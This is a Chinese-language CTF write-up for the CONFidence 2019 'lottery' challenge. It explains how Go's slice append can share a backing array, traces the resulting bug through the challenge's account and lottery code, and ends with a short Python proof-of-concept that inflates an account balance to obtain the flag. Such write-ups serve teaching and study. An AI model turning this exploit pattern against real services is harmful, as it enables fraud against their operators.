Teaser CONFidence CTF 2019 "
题目提供了源码跟docker环境
分析流程
init.go中定义了路由
r.Get("/", handler.IndexGet)
r.Post("/account", handler.AccountAdd)
r.Post("/account/{name}/amount", handler.AccountAddAmount)
r.Get("/account/{name}", handler.AccountGet)
r.Post("/lottery/add", handler.LotteryAdd)
r.Get("/lottery/results", handler.LotteryResults)
易得
post请求/account获得一个新的账号{"name":"MlhisQoxBGUiqCHA","amounts":[]}
post请求/account/MlhisQoxBGUiqCHA/amount，data为{"amount":99}，为当前账号增加99金钱。这里需要注意的是只能添加4次，并且范围为0-99
get请求/account/MlhisQoxBGUiqCHA，获得当前账号信息。如果金钱大于100w或者中了奖，就会在个人信息中显示flag
post请求/lottery/add，data为{"accountName":"MlhisQoxBGUiqCHA"}，往lottery列表中添加当前账户
get请求/lottery/results，获取中奖者信息
发现问题
在看源码的过程中，发现用户金额是用一个int数组来储存
type Account struct {
Name string `json:"name"`
Amounts []int `json:"amounts"`
}
想到go的slice在append时会有奇怪的事情发生
package main
import (
"fmt"
)
func main() {
var a []int
a = append(a,1)
a = append(a,1)
a = append(a,1)
b := append(a,2)
c := append(a,3)
fmt.Println(b,c)
}
最后输出的结果为
[1 1 1 3] [1 1 1 3]
c的最后一个元素把b的最后一个元素覆盖了
问题成因
go的slice的结构为
a在append进一个元素时，ptr指向0x1(假设)，len为1，cap为2
在append进第二个元素时，ptr指向0x1，len为2，cap为2
在append进第三个元素时，容量不够了，所以要进行扩容，于是cap就扩容成4，len为3，因为分配了更大容量的内存，所以ptr指向了新的地方0x2
现在，a的属性为
ptr=0x2, len=3, cap=4在append进2时，不需要进行扩容，所以append函数将2添加进0x2中的第四个位置，并返回
ptr=0x2, len=4, cap=4赋值给b。注意这里a的len还是为3，所以就算0x2是[1,1,1,2]，也只能显示[1,1,1]在append进3时，同b的步骤，因为append函数第一个参数还是a，所以
len≤cap，不需要扩容，就直接把0x2的第四个位置覆盖成3，原来这里是2所以最终结果就是
[1 1 1 3] [1 1 1 3]
寻找bug
于是，我就把重点放在了对Account的操作上，主要有以下几个地方
app/account.go
func (a *Account) AddAmount(amount int) error {
if amount < 0 || amount > MaxAmount {
return errors.Wrapf(ErrInvalidData, "amount must be positive and less than %d: got '%d'", MaxAmount+1, amount)
}
if len(a.Amounts) >= MaxAmountsLen {
return errors.Wrapf(ErrInvalidData, "reached maximum number of amounts (%d)", MaxAmountsLen)
}
a.Amounts = append(a.Amounts, amount)
return nil
}
为账户添加金额
app/lottery.go
func (l *Lottery) Add(account Account) {
l.mutex.Lock()
defer l.mutex.Unlock()
l.accounts[account.Name] = account
}
将用户加进lottery列表中
func (l *Lottery) evaluate() {
l.mutex.Lock()
defer l.mutex.Unlock()
accounts := l.accounts
l.winners = make(map[string]struct{})
l.accounts = make(map[string]Account)
for name, account := range accounts {
amounts := append(account.Amounts, randInt(999913, 3700000))
sum := 0
for _, a := range amounts {
sum += a
}
if sum == 0x133700 {
l.winners[name] = struct{}{}
}
}
开奖
Add()将account拷贝进了l中，evaluate()将l中的account取出，并对其中的Amount进行了append操作，所以如果能构造一个len=3 cap=4的Amount并使它以此经过AddAmount和evaluate的处理，不就会将最后一个元素修改为至少100w的值吗？于是利用链就出来了
利用链
先请求三次增加金额，当前账户的Amount结构就为
+---------------------------+
| |
| 99 |
| |
+---------------------------+
| |
| 99 |
| |
+---------------------------+
| |
| 99 |
| |
len=3----------> +---------------------------+
| |
| |
| |
cap=4----------> +---------------------------+
再请求/lottery/add，将当前account复制到l中，现在l中的account.Amount的len=3
再请求/account/xxxx/amount增加一次金额
+---------------------------+
| |
| 99 |
| |
+---------------------------+
| |
| 99 |
| |
+---------------------------+
| |
| 99 |
| |
+---------------------------+
| |
| 99 |
| |
cap=4+---------> +---------------------------+ <---------+ len=4
但是因为l中的account.Amount的len=3，所以在开奖的时候，append(account.Amounts, randInt(999913, 3700000))，不会对account.Amounts进行扩容，所以还是对0x2(假设)的最后一个元素进行覆盖，所以将99覆盖成了100w以上的数，这样账户中的金额就轻轻松松超过100w，flag到手
这里我在这几个地方把地址打印出来，验证了最后len=3的时候是对同一个地址进行操作
---Account Add Amount---
0xc00000a100
2019/03/21 10:40:09 "POST http://127.0.0.1:8080/account/XKejcVvkPeJgDDyt/amount HTTP/1.1" from 127.0.0.1:59982 - 204 0B in 0s
---Account Add Amount---
0xc0001081f0
2019/03/21 10:40:09 "POST http://127.0.0.1:8080/account/XKejcVvkPeJgDDyt/amount HTTP/1.1" from 127.0.0.1:59983 - 204 0B in 0s
---Account Add Amount---
0xc000116a00
2019/03/21 10:40:09 "POST http://127.0.0.1:8080/account/XKejcVvkPeJgDDyt/amount HTTP/1.1" from 127.0.0.1:59984 - 204 0B in 0s
---Lottery Add---
0xc000116a00
2019/03/21 10:40:09 "POST http://127.0.0.1:8080/lottery/add HTTP/1.1" from 127.0.0.1:59985 - 201 0B in 0s
---Account Add Amount---
0xc000116a00
2019/03/21 10:40:09 "POST http://127.0.0.1:8080/account/XKejcVvkPeJgDDyt/amount HTTP/1.1" from 127.0.0.1:59986 - 204 0B in 0s
---Lottery evaluate---
0xc000116a00
POC
import requests
import json
import time
url = "https://lottery.zajebistyc.tf"
r = requests.post(url+"/account")
name = json.loads(r.content)['name']
requests.post(url+"/account/"+name+"/amount", data='{"amount":99}')
requests.post(url+"/account/"+name+"/amount", data='{"amount":99}')
requests.post(url+"/account/"+name+"/amount", data='{"amount":99}')
requests.post(url+"/lottery/add", data='{{"accountName":"{}"}}'.format(name))
requests.post(url+"/account/"+name+"/amount", data='{"amount":99}')
time.sleep(5)
r = requests.get(url+"/account/"+name)
print r.text
参考
https://www.zhihu.com/question/27161493
https://github.com/mwarzynski/confidence2019_teaser_lottery
